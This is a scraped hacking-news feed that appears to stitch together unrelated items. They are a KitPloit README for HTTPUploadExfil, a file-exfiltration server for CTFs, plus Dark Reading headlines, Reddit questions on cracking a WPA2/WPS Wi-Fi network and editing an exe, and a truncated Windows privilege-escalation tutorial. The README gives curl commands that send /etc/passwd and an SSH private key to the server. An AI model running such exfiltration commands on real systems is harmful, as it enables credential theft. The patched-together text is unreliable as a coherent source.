By default, HTTPUploadExfil will be served on port 8080. All files will be written to the current directory. ./httpuploadexfil You can also provide some arguments: ./httpuploadexfil :1337 /home/kali/loot The first argument is a bind (https://www.kitploit.com/search/label/BIND) address, the second one the folder to store files in. The tool will also expose the files in the loot directory under the /l endpoint. This can be used as an easy way to bring files onto the target.
Endpoints
The webserver exposes four endpoints (https://www.kitploit.com/search/label/Endpoints) for you to use: / (GET) is the upload form. /p (POST) takes the data from the upload form. It requires a multipart/form-data request with the file field filled. /g (GET) will take any GET request and store the full request on the server. /l (GET) will provide access to files in the specified folder (Directory Listing). This is to provide basic python3 -m http.server functionality.
HTTPs Mode
HTTPUploadExfil can also be used in HTTPs mode. To do so, simply place a HTTPUploadExfil.csr and HTTPUploadExfil.key file next to the binary. These can be, for example, generated as follows: openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr If the servers sees (https://www.kitploit.com/search/label/SEES) a HTTPUploadExfil.csr file, it will try to start in HTTPs mode. To go back to HTTP, simply remove or rename the certificate files.
Shell
Using Bash, we can exfil data using GET via, for example: echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g Of course, we can also use curl to exfil files: curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p
ToDo
Implement an HTTPs version (Transport Encryption) Add download option (i.e., provide python3 -m http.server functionality)

Download HTTPUploadExfil (https://github.com/IngoKl/HTTPUploadExfil)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
HTTPUploadExfil - A Simple HTTP Server For Exfiltrating Files/Data During, For Example, CTFs

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Stop Zero-Day Ransomware Cold With AI

AI can help recognize ransomware attacks and stop them at computer speed.

Dark Reading: Attacks/Breaches
US to Create Diplomatic Bureau to Lead Cybersecurity Policy

As part of its modernization initiative, the Department of State will increase its IT budget by 50% and add a new bureau to lead cybersecurity and digital policy.

Dark Reading: Attacks/Breaches
Tech Companies Create Security Baseline for Enterprise Software

The Minimum Viable Secure Product is written as a checklist of minimum-security requirements for business-to-business software.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
NSA-CISA Series on Securing 5G Cloud Infrastructures

CISA encourages 5G providers, integrators, and network operators to review the guidance and consider the recommendations.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
ICS Security Firm Dragos Reaches $1.7B Valuation in Latest Funding Round

The $200M Series D represents the company's largest funding round to date.

Dark Reading: Attacks/Breaches
Ordr Unveils Cybersecurity Innovations and Ransom-Aware Rapid Assessment Service to Expand Its Leadership In Connected Device Security

Enhanced ransomware detection, visualization of ransomware communications, and risk customization helps organizations respond to cyberattacks in minutes.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
SEO Poisoning Used to Distribute Ransomware

This tactic — used to distribute REvil ransomware and the SolarMarker backdoor — is part of a broader increase in such attacks in recent months, researchers say.

Dark Reading: Attacks/Breaches
Top Hardware Weaknesses List Debuts

CWE list aimed at designers and programmers to avoid key hardware weaknesses early in product development.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Job help.

So i'm supposed to test the security of a wifi network. But theres some unconventional issues with this job.

The company uses the 5ghz wifi network which doesnt penetrate their building walls that well. So with the traditional aircrack-ng approach i run into an issue that if i let airodump run long enough i find few access points but the signal is so shitty that i cannot deauth.(i get error for losing the beacon frame?!?)
But i can see bunch of devices connected to the said network.
I have external nic which allows me to crank up the signal strength but i believe thats illegal where i'm at..

The access points all use wpa2-psk with wps enabled

So what would be an alternative approach??
Is PIN bruteforce still a thing? Maybe phising with fake ap?

The scope of the job is only the wifi network.
Pay is bad but the client is friend so i wanna do good job.
I'm terribly rusty and out of the loop when it comes to wifi security...

submitted by /u/dumpzyyi
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I want to modify and exe, I know nothing about assembly, where do I start?

I have an old game with an exe file, I want to remove a cutscene that has no purpose. So far I only got a debugger and looked at the code... I understand nothing... and actually learning assembly just for this one task will take too much time... how am I supposed to do it, if I have to study assembly for months or years for it, I will... but I would like to just complete this one task, I will appreciate any advice, for now, I will try to at least study as much assembly as I can

submitted by /u/vladrumsh
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Confirmado: Facebook cambia de nombre y ahora se llamará ‘Meta’

https://cdn-images-1.medium.com/max/1920/0*wJ5QjXU0XK-zXf08.gif
PUBLICADO EN 28 OCTUBRE, 2021POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Windows Privilege Escalation: Logon Autostart Execution (Registry Run Keys)

If an attacker finds a service that has all permission and its bind with the Registry run key then he can perform privilege escalation or persistence attacks. When a legitimate user signs in, the service link with the registry will be executed automatically and this attack is known as Logon Autostart Execution due to Registry Run Keys.There are two techniques to perform Logon Autostart Execution :Logon Autostart Execution: Registry Run KeysTable of ContentBoot | Logon Autostart Execution (Mitre Attack)PrerequisiteLab SetupPrivilege Escalation by Abusing Registry Run Keys Run and RunOnce Registry KeysRun and RunOnce registry keys cause programs to run each time a user logs on. The Run registry keys will run the task every time there's a login. The RunOnce registry keys will run the tasks once and then delete that key. Then there is Run and RunOnce; the only difference is that RunOnce will automatically delete the entry upon successful execution.Boot | Logon Autostart Execution: Registry Run KeysInjecting a malicious program within a startup folder will also cause that program to execute when a user logs in, thus it may help an attacker to perform persistence or privilege escalation Attacks from misconfigured startup folder locations.Mitre ID:T1574.001Tactics:Privilege Escalation & PersistencePlatforms:WindowsPrerequisiteTarget Machine:Windows 10Attacker Machine:Kali LinuxTools: Winpeas.exeCondition:Compromise the target machine with low privilege access either using Metasploit or Netcat, etc.Objective:Escalate the NT Authority /SYSTEM privileges for a low privileged user by exploiting the Misconfigured Startup folder.Lab SetupStep1: create a new directory inside Program FilesStep 2:Add an application or service or program to this directory.___________________________
@hacking_Attack
@Hacking_Video